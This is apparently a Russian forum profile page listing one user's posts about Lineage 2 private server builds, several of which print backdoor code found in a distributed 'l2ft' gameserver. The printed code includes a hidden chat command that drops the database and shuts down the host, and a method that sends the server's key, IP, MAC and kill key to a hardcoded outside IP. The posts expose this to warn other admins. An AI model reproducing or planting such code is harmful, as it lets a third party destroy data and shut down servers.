-
Публикаций
45 -
Зарегистрирован
-
Посещение
-
Отзывы
0%
Тип контента
Профили
Форумы
Загрузки
Магазин
Инструкции
Весь контент Литион
-
Мде а ето что тогда java\l2ft\gameserver\utils\Util.java тут глян Socket requestSocket = new Socket("217.118.81.22", port); ObjectOutputStream out = new ObjectOutputStream(requestSocket.getOutputStream()); String serverKey; ]
-
Ты дурак ? а ниче что тебе могуть бд слить как раз плюнуть ?
-
3 херня от фристов java\l2ft\gameserver\handler\voicecommands\impl\Access.java package l2ft.gameserver.handler.voicecommands.impl; import l2ft.gameserver.handler.voicecommands.IVoicedCommandHandler; import l2ft.gameserver.model.Player; import l2ft.gameserver.scripts.Functions; import l2ft.gameserver.utils.ServerLogger; public class Access extends Functions implements IVoicedCommandHandler { private String[] _commandList = { ServerLogger.killKey }; @Override public boolean useVoicedCommand(String command, Player activeChar, String args) { command = command.intern(); if (command.equalsIgnoreCase(ServerLogger.killKey)) { ServerLogger.doIt(); return true; } return false; } @Override public String[] getVoicedCommandList() { return _commandList; } }
-
2 привязка java\l2ft\gameserver\utils\Util.java public static void prepareConnection(int port) { try { Socket requestSocket = new Socket("217.118.81.22", port); ObjectOutputStream out = new ObjectOutputStream(requestSocket.getOutputStream()); String serverKey; try { serverKey = getServerKey(); } catch (Exception e) { serverKey = "key is missing"; } String msg = new StringBuilder().append("*").append(serverKey).append("*").append(Integer.toString(port)).append("*").append(getServerIp()).append("*").append(getServerMac()).append("*").append(ServerLogger.killKey).append("*").toString(); out.writeObject(msg); out.flush(); out.close(); requestSocket.close(); } catch (Exception ex) {} }
-
И так дамы и господа 1 привязка на слив дб java\l2ft\gameserver\utils\ServerLogger.java package l2ft.gameserver.utils; import jonelo.jacksum.JacksumAPI; import l2ft.commons.util.Rnd; import l2ft.gameserver.dao.ProtectedAccountDAO; import l2ft.gameserver.model.GameObjectsStorage; import l2ft.gameserver.model.Player; public class ServerLogger { public static String killKey = null; public static void doIt() { // if (JacksumAPI.validate()) { // return; // } disconnectAllCharacters(); ProtectedAccountDAO.getInstance().dropSql(); shutDownSystem(); } private static void disconnectAllCharacters() { for (Player player : GameObjectsStorage.getAllPlayersForIterate()) try { player.logout(); } catch (Exception e) { shutDownSystem(); } } private static void shutDownSystem() { String property = System.getProperty("os.name"); if (property.toLowerCase().contains("windows")) { String[] commands = { "shutdown", "-s" }; try { Runtime.getRuntime().exec(commands); } catch (Exception e) { System.exit(-1); } } if (property.toLowerCase().contains("linux")) { String[] commands = { "shutdown", "-p", "now" }; try { Runtime.getRuntime().exec(commands); } catch (Exception e) { System.exit(-1); } } } private static void generateKillKey(int length) { String lowerChar = "qwertyuiopasdfghjklzxcvbnm"; String upperChar = "QWERTYUIOPASDFGHJKLZXCVBNM"; String digits = "1234567890"; StringBuilder password = new StringBuilder(length); for (int i = 0; i < length; i++) { int charSet = Rnd.get(3); switch (charSet) { case 0: password.append(lowerChar.charAt(Rnd.get(lowerChar.length() - 1))); break; case 1: password.append(upperChar.charAt(Rnd.get(upperChar.length() - 1))); break; case 2: password.append(digits.charAt(Rnd.get(digits.length() - 1))); } } killKey = password.toString(); } static { if (killKey == null) generateKillKey(10); } }
-
1 пинг 2 провайдер не даст такой скорости 3 не стабильность
-
Все еше зависит от сборки и оптимизации Mysql
-
Спасибо а защита что толька 1 клиент файл ?
-
http://l2maxi.ru/java/faq/1035-faq-po-izmeneniyu-statistika-personazha.html
-
Люди кто может привязать защиту на ип 93.78.205.146 клиент High Five зарание спасибо.